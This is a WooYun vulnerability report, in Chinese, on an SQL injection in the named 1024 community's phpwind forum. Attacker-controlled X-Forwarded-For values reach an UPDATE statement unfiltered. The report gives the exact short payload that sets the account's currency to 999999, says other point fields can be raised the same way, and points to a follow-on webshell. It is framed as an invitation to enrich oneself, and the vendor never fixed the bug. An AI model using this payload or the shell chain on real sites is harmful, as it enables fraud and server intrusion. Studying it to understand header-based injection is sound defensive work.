当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0152694

漏洞标题:一个可以让你成为1024社区最富有の人的SQL注入漏洞

相关厂商:1024社区

漏洞作者: 猪猪侠

提交时间:2015-11-07 23:26

修复时间:2015-12-22 23:28

公开时间:2015-12-22 23:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-12-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

CloudFlare的WAF也阻拦不了你成为1024社区最富有の人

详细说明:

#0 先看shell证明,提起兴趣,再看内容

shell.png


#1 注入描述
当我们在登陆1024论坛的时候,程序会更新记录我们每次登陆的IP信息,最后登录的时间,具体SQL如下

UPDATE LOW_PRIORITY pw_memberdata SET lastvisit='1446906480',thisvisit='1446906480',onlineip='8.8.8.8|1446906480|6' WHERE uid='387090'


#2 phpwind处理登陆IP的代码如下,先从客户端拿X-Forwarded-For的值

getip.png


#3 漏洞利用
控制X-Forwarded-For为SQL注入代码就可以利用了
这里1024社区的代码,仅仅限制客户端IP的长度为15,多了抛弃,当不妨碍我们成为最富有の人

sqlerror.png

漏洞证明:

#4 phpwind数据库结构,money = USD,rvrc = 威望,credit = 贡献值

CREATE TABLE pw_memberdata (
uid MEDIUMINT(8) UNSIGNED NOT NULL DEFAULT '0',
postnum INT(10) UNSIGNED NOT NULL DEFAULT '0',
digests SMALLINT(6) NOT NULL DEFAULT '0',
rvrc INT(10) NOT NULL DEFAULT '0',
money INT(10) NOT NULL DEFAULT '0',
credit INT(10) NOT NULL DEFAULT '0',
currency INT(10) NOT NULL DEFAULT '0',
editor TINYINT(1) NOT NULL DEFAULT '0',
lastvisit INT(10) UNSIGNED NOT NULL DEFAULT '0',
thisvisit INT(10) UNSIGNED NOT NULL DEFAULT '0',
lastpost INT(10) UNSIGNED NOT NULL DEFAULT '0',
onlinetime INT(10) UNSIGNED NOT NULL DEFAULT '0',
monoltime INT(10) UNSIGNED NOT NULL DEFAULT '0',
todaypost SMALLINT(6) UNSIGNED NOT NULL DEFAULT '0',
monthpost SMALLINT(6) UNSIGNED NOT NULL DEFAULT '0',
uploadtime INT(10) UNSIGNED NOT NULL DEFAULT '0',
uploadnum SMALLINT(6) UNSIGNED NOT NULL DEFAULT '0',
onlineip CHAR(30) NOT NULL DEFAULT '',
starttime INT(10) UNSIGNED NOT NULL DEFAULT '0',
postcheck CHAR(16) NOT NULL DEFAULT '',
PRIMARY KEY uid (uid),
KEY postnum (postnum)
) TYPE=MYISAM;


#5 突破限制,给你自己价钱

UPDATE LOW_PRIORITY pw_memberdata SET lastvisit='1446906480',thisvisit='1446906480',onlineip='{你的15个字符}|1446906480|6' WHERE uid='387090'


mysql在字段类型不匹配预先设定时,会采用强制类型转换,这里的15个字符刚好满足增加财富的需求
PS:这里可以使用指数 1e9xxxxx = 1000000000,1的后面9个0

',money='9999999


拼凑出的完整SQL如下

UPDATE LOW_PRIORITY pw_memberdata SET lastvisit='1446906480',thisvisit='1446906480',onlineip='',money='9999999|1446906480|6' WHERE uid='387090'


Data truncated for column 'money',会将9999999|1446906480|6强制类型转换为999999
#6 实战利用

xfor.png


#7 设置好后,登陆你的账号,你就有999999的USD财富了,贡献值和威望依葫芦画瓢即可

t66y.jpg


天使.png


#8 GETSHELL
后续还会发一个phpwind5前台getshell漏洞,基于上面的某些条件,就能搞到1024社区的webshell了
WooYun: Phpwind的v4/5/6/7/8命令执行漏洞
把自己的威望刷到TOP20,shell就自动躺在/data/bbs_cache里面了

getshell.png

修复方案:

# 更新一下版本,把onlineip过滤

fix.jpg

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:16 (WooYun评价)